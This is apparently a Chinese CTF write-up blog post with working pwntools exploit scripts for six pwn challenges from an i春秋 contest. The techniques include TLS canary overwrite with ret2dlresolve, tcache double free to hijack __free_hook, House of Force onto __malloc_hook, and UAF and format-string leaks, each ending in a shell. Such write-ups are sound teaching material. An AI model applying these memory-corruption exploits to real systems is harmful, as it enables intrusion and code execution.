i春秋平台举办的一场公益性的CTF比赛,题目难度,不是我这种菜鸟可以做的,大部分是后期复现的,不定期更新
BFnote
此题出得真的好,思路就是先利用malloc申请一个可控制空间大小的块,如果size >= 0x20000,那么就会利用mmap分配,分配到debug001上面,而在TLS结构中保存有Canary的值,计算保存的Canary地址的偏移量,在note那里任意写,修改Canary的值,最开始的栈那里,修改ebp-4的地方为需要迁移的地址,然后读取地址,最后迁移到那里
| 1 | mov     ecx, [ebp+var_4] | 
| 2 | leave | 
| 3 | lea     esp, [ecx-4] | 
| 4 | retn | 
而在栈写入之后,继续会在一个bss段写入内容,这里利用ret2dllresolve,从而取得权限
| 1 | from pwn import* | 
| 2 | p = process('./BFnote') | 
| 3 | #p = remote('123.56.85.29',6987) | 
| 4 | elf = ELF('BFnote') | 
| 5 | libc = ELF('libc.so.6') | 
| 6 | read_plt = elf.plt['read'] | 
| 7 | read_got = elf.got['read'] | 
| 8 | plt0 = elf.get_section_by_name('.plt').header.sh_addr | 
| 9 | rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr | 
| 10 | dynsym = elf.get_section_by_name('.dynsym').header.sh_addr | 
| 11 | dynstr = elf.get_section_by_name('.dynstr').header.sh_addr | 
| 12 | base_stage = elf.bss() + 0x420 | 
| 13 | |
| 14 | payload = 'U'*0x3A + p32(elf.bss()+0x420 +4) | 
| 15 | p.sendafter('Give your description : ',payload) | 
| 16 | #-------- | 
| 17 | fake_sym_addr = base_stage + 24 #fake_sym | 
| 18 | align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #alignment | 
| 19 | fake_sym_addr = fake_sym_addr + align #  | 
| 20 | index_dynsym = (fake_sym_addr - dynsym) / 0x10 | 
| 21 | st_name = fake_sym_addr + 0x10 - dynstr #system | 
| 22 | fake_read_sym = flat([st_name, 0, 0, 0x12]) | 
| 23 | |
| 24 | index_offset = base_stage + 16 - rel_plt | 
| 25 | r_info = (index_dynsym << 8) | 0x7  | 
| 26 | fake_read_reloc = flat([read_got, r_info]) | 
| 27 | |
| 28 | payload = '\x00'*0x400 | 
| 29 | payload += p32(plt0) | 
| 30 | payload += p32(index_offset) | 
| 31 | payload += 'UUUU' | 
| 32 | payload += p32(base_stage + 80) # binsh | 
| 33 | payload += fake_read_reloc | 
| 34 | payload += 'U'*align | 
| 35 | payload += fake_read_sym | 
| 36 | payload += 'system\x00' | 
| 37 | payload += 'U' * (80 + 0x400-len(payload)) | 
| 38 | payload += '/bin/sh\x00' | 
| 39 | payload += 'U'*(100 - len(payload)) | 
| 40 | |
| 41 | p.sendafter('Give your postscript : ',payload) | 
| 42 | p.sendlineafter('Give your notebook size : ',str(1024*130)) | 
| 43 | overflow_len = 0x216FC | 
| 44 | p.sendlineafter('Give your title size : ',str(overflow_len)) | 
| 45 | p.sendlineafter('invalid ! please re-enter :','1') | 
| 46 | p.sendafter('Give your title : ','U') | 
| 47 | p.sendafter('Give your note : ','U'*4) | 
| 48 | p.interactive() | 
下载
Signin
题目分析起来很简单,由于Calloc申请空间时,不会先从tcache中取出块,从fastbin中取出一个块后,然后calloc,然后剩下的fastbin chunk可能会插入到tcache中,因为LIFO原则,calloc申请的块会在fd上写上下一个块的地址.
| 1 | from pwn import* | 
| 2 | def add(idx): | 
| 3 |     p.sendlineafter('choice?','1') | 
| 4 |     p.sendlineafter('idx?\n',str(idx)) | 
| 5 | def edit(idx,content): #Just Once | 
| 6 |     p.sendline('2') | 
| 7 |     p.sendline(str(idx)) | 
| 8 |     p.sendline(content) | 
| 9 | def free(idx): | 
| 10 |     p.sendline('3') | 
| 11 |     p.sendline(str(idx)) | 
| 12 | #p = remote('123.56.85.29',4205) | 
| 13 | p = process('./pwn') | 
| 14 | for i in range(9): | 
| 15 | 	add(i) | 
| 16 | for i in range(9): | 
| 17 | 	free(i) | 
| 18 | add(9) | 
| 19 | edit(8,p64(0x4040B0)) | 
| 20 | p.sendline('6') | 
| 21 | p.interactive() | 
下载
Document
简单分析,free块之后指针没有置为0,通过double free之后的返回值,可以发现其libc为2.29,由于tcache的块最多能含有7个堆,故仍然利用double free在tcache情况下改free_hook为one_gadget
| 1 | from pwn import* | 
| 2 | def add(name,info): | 
| 3 | 	p.sendlineafter('choice : ','1') | 
| 4 | 	p.sendafter('name',name) | 
| 5 | 	p.sendafter('sex','M') | 
| 6 | 	p.sendafter('information',info) | 
| 7 | 	##Chunk -> name|sex|info = 0x80  | 
| 8 | |
| 9 | def show(index): | 
| 10 | 	p.sendlineafter('choice : ','2') | 
| 11 | 	p.sendlineafter('index : ',str(index)) | 
| 12 | |
| 13 | def edit(index,info): | 
| 14 | 	p.sendlineafter('choice : ','3') | 
| 15 | 	p.sendlineafter('index : ',str(index)) | 
| 16 | 	p.sendafter('sex?','Y\0') | 
| 17 | 	p.sendafter('information',info) | 
| 18 | |
| 19 | def free(index): | 
| 20 | 	p.sendlineafter('choice : ','4') | 
| 21 | 	p.sendlineafter('index : ',str(index)) | 
| 22 | #p = remote('123.56.85.29',4807) | 
| 23 | p = process('./pwn') | 
| 24 | libc = ELF('./libc-2.29.so') | 
| 25 | context.log_level = 'debug' | 
| 26 | add(p64(0),'\x00'*0x70) | 
| 27 | add(p64(1),'\x00'*0x70) | 
| 28 | add(p64(2),'\x00'*0x70) | 
| 29 | add(p64(3),'\x00'*0x70) | 
| 30 | free(3) | 
| 31 | edit(3,'\x00'*0x70) | 
| 32 | free(3) | 
| 33 | |
| 34 | free(2) | 
| 35 | edit(2,'\x00'*0x70) | 
| 36 | free(2) | 
| 37 | |
| 38 | free(1) | 
| 39 | edit(1,'\x00'*0x70) | 
| 40 | |
| 41 | free(0) | 
| 42 | edit(0,'\x00'*0x70) | 
| 43 | free(0) | 
| 44 | |
| 45 | free(1) | 
| 46 | show(1) | 
| 47 | p.recvline() | 
| 48 | malloc_hook = u64(p.recv(6).ljust(8,'\x00'))  - 0x70 | 
| 49 | libcbase = malloc_hook - libc.sym['__malloc_hook'] | 
| 50 | log.success('LibcBase:\t' + hex(libcbase)) | 
| 51 | free_hook = libcbase + libc.sym['__free_hook'] | 
| 52 | system = libcbase + 0x71FF0 | 
| 53 | add(p64(free_hook),'\x00'*0x70) | 
| 54 | add('/bin/sh\x00','\x00'*0x70) | 
| 55 | add(p64(system),'\x00'*0x70) | 
| 56 | free(5) | 
| 57 | p.interactive() | 
下载
Force
HOF题,在BFnote那里有讲过,利用mmap分配的块靠近libcbase,简单获取libc_base,然后改realloc_hook为one_gadget,malloc_hook利用realloc修栈即可
| 1 | from pwn import* | 
| 2 | def add(size,content): | 
| 3 | 	p.sendline('1') | 
| 4 | 	p.sendlineafter('size',str(size)) | 
| 5 | 	p.recvuntil('bin addr ') | 
| 6 | 	chunk = int(p.recvuntil('\n',drop=True),16) | 
| 7 | 	p.sendafter('content',content) | 
| 8 | 	return chunk | 
| 9 | def puts(): | 
| 10 | 	p.sendline('2') | 
| 11 | p = process('./pwn') | 
| 12 | libc = ELF('./libc-2.23.so') | 
| 13 | chunk0 = add(0x200000,'\x00') | 
| 14 | libc_base = chunk0 + 0x200FF0 | 
| 15 | log.info('LibcBase:\t' + hex(libc_base)) | 
| 16 | realloc  = libc_base + libc.sym['realloc'] | 
| 17 | malloc_hook  = libc_base + libc.sym['__malloc_hook'] | 
| 18 | og = [0x45216,0x4526A,0xF02A4,0xF1147] | 
| 19 | one_gadget = libc_base + og[1] | 
| 20 | chunk1 = add(0x20,'\x00'*0x28 + '\xFF'*8) | 
| 21 | top_chunk = chunk1 - 0x10 + 0x30 | 
| 22 | offset = malloc_hook - top_chunk - 0x30 | 
| 23 | add(offset,'\x00') | 
| 24 | add(0x10,p64(0) + p64(one_gadget) + p64(realloc + 4)) | 
| 25 | p.sendline('1') | 
| 26 | p.sendline('16') | 
| 27 | p.interactive() | 
下载
Some_thing_exciting
UAF漏洞,直接控制其中一个malloc(0x10),然后改为题目给的fake_chunk地址
| 1 | from pwn import* | 
| 2 | def add(sizeI,sizeII,contentI,contentII): | 
| 3 | 	p.sendlineafter('do :','1') | 
| 4 | 	p.sendlineafter("length : ",str(sizeI)) | 
| 5 | 	p.sendline(contentI) | 
| 6 | 	p.sendlineafter("length : ",str(sizeII)) | 
| 7 | 	p.sendline(contentII) | 
| 8 | def free(index): | 
| 9 | 	p.sendlineafter('do :','3') | 
| 10 | 	p.sendlineafter('ID : ',str(index)) | 
| 11 | def show(index): | 
| 12 | 	p.sendlineafter('do :','4') | 
| 13 | 	p.sendlineafter('ID : ',str(index)) | 
| 14 | p = remote('123.56.85.29',6484) | 
| 15 | context.log_level = 'debug' | 
| 16 | fake = 0x6020A8 | 
| 17 | add(0x20,0x20,'','')		#0 | 
| 18 | add(0x20,0x20,'','')		#1 | 
| 19 | free(0) | 
| 20 | free(1) | 
| 21 | add(0x10,0x20,p64(fake),'')	#2 = 1 -> 0 | 
| 22 | show(0) | 
| 23 | p.interactive() | 
下载
Some_thing_interesting
格式化字符串漏洞获取PIE,UAF漏洞以及利用double free将块布置到bss段中保存size的内存地址,最后利用edit修改即可
| 1 | from pwn import* | 
| 2 | def add(sizeI,sizeII,contentI,contentII): | 
| 3 | 	p.sendlineafter('do :','1') | 
| 4 | 	p.sendlineafter('length : ',str(sizeI)) | 
| 5 | 	p.sendafter('O : ',contentI) | 
| 6 | 	p.sendlineafter('length : ',str(sizeII)) | 
| 7 | 	p.sendafter('RE : ',contentII) | 
| 8 | def edit(index,contentI,contentII): | 
| 9 | 	p.sendlineafter('do :','2') | 
| 10 | 	p.sendlineafter('ID : ',str(index)) | 
| 11 | 	p.sendafter('O : ',contentI) | 
| 12 | 	p.sendafter('RE : ',contentII) | 
| 13 | def free(index): | 
| 14 | 	p.sendlineafter('do :','3') | 
| 15 | 	p.sendlineafter('ID : ',str(index)) | 
| 16 | def show(index): | 
| 17 | 	p.sendlineafter('do :','4') | 
| 18 | 	p.sendlineafter('ID : ',str(index)) | 
| 19 | p = process('./interested') | 
| 20 | elf = ELF('./interested',checksec=False) | 
| 21 | libc = ELF('libc-2.23.so',checksec=False) | 
| 22 | context.log_level =='debug' | 
| 23 | p.sendafter('please:','OreOOrereOOreO%14$p') | 
| 24 | p.sendlineafter('do :','0') | 
| 25 | p.recvuntil('OreOOrereOOreO') | 
| 26 | pie = int(p.recv(14),16) - 0x202050 | 
| 27 | add(0x60,0x70,'I','I') | 
| 28 | add(0x60,0x70,'II','II') | 
| 29 | free(1) | 
| 30 | free(2) | 
| 31 | free(1) | 
| 32 | ''' | 
| 33 | Fastbins | 
| 34 | [0x70] 1 ->2 -> 1 | 
| 35 | [0x80] 1 ->2 -> 1 | 
| 36 | ''' | 
| 37 | add(0x60,0x30,p64(pie+0x202080),'I') | 
| 38 | add(0x60,0x30,'II','II') | 
| 39 | add(0x60,0x30,'I','I') | 
| 40 | payload = p64(0x70)*3 + p64(0)*8 + p64(pie+0x2020E8) | 
| 41 | add(0x60,0x30,payload,'III') | 
| 42 | edit(1,p64(pie+0x2020E8)+p64(elf.got['puts'] + pie),'I') | 
| 43 | show(2) | 
| 44 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['puts'] | 
| 45 | malloc_hook = libc_base + libc.sym['__malloc_hook'] | 
| 46 | realloc = libc_base + libc.sym['realloc'] | 
| 47 | og = [0x45216,0x4526a,0xf02a4,0xf1147] | 
| 48 | one_gadget = libc_base + og[3] | 
| 49 | edit(1,p64(pie+0x2020E8) + p64(malloc_hook),'I') | 
| 50 | edit(2,p64(one_gadget),'II') | 
| 51 | p.sendlineafter('do :','1') | 
| 52 | p.sendlineafter('length : ','32') | 
| 53 | p.interactive() | 
